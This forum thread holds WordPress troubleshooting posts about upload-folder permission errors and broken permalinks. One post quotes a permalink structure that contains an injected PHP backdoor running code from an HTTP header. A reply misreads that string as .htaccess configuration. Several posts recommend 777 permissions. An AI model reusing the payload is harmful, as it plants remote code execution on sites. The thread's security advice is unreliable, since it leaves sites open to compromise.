I just fixed it, as far as a can say regarding manually created upload folders.
I made folder wp-content/uploads/2010/05 744
I made folder wp-content/uploads/2010 755
I made folder wp-content/uploads/ 766
I made folder wp-content/ 777
(and /wordpress 777, will try to go back to 755 here, but later)

Funny how the permissions must get stronger as the directory hierarchy gets higher. I tried more combinations but as far as I saw, this one is the only one that works for me.

I wonder what will happen next month, when wordpress will try to create a new folder.

I got a very similar problem. I just made a first install of wordpress and apparently it works fine, except the upload pictures functionality. I get the same error. And even making the directory manually wouldn’t upoad the file, it still says it can’t ‘make’ the folder regardless of that I alrady made it and checked 777 766 755 666 and similar.

Actually, I have a similar problem: Some years ago, I installed wp on https://www.infomorelos.com/blogging/ and it worked fine. Now on a routine check I found out that only the front page shows up correctly while any link doesn’t work, there is always a 404 error. E.g. https://infomorelos.com/blogging/eventos/cuernavaca/carteleracinemorelos/ is a link based on a category or https://infomorelos.com/blogging/2008/05/ is a link base on the Archive or https://infomorelos.com/blogging/page/2/ is the link for previous entries (and surprisingly also for the next page …) None of these links work, but they did work time ago. I did not notice when exactly they stopped working and wonder what could be the reason.
Reading your post I checked my custum link strukture that shows a string like ‘/%year%/%monthnum%/%day%/%postname%/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/’ (without the ‘s) .
When I deactivate this option and go back to default , my links on the whole blog are working.

I’m not sure but to me it looks like this is the code you have to put into your .htaccess file in your blog subdirectory. If there is no htaccess in this directory, simply copy the lines to a text document and save it as .htaccess. Then upload it to your blog subdir . That’s it!
However, be aware that your service provider might not allow you accessing .htaccess and for that reason doesn’t show it to your ftp client. In this case – so it happened to me – you will overwrite the existing .htaccess and your site will be unaccessable until the provider restores the oringinal htaccess. However, this happened to me since I tried to edit my .htaccess information for the root folder and you should not encounter this problem when you upload .htaccess to a subdirectory containing your blog.
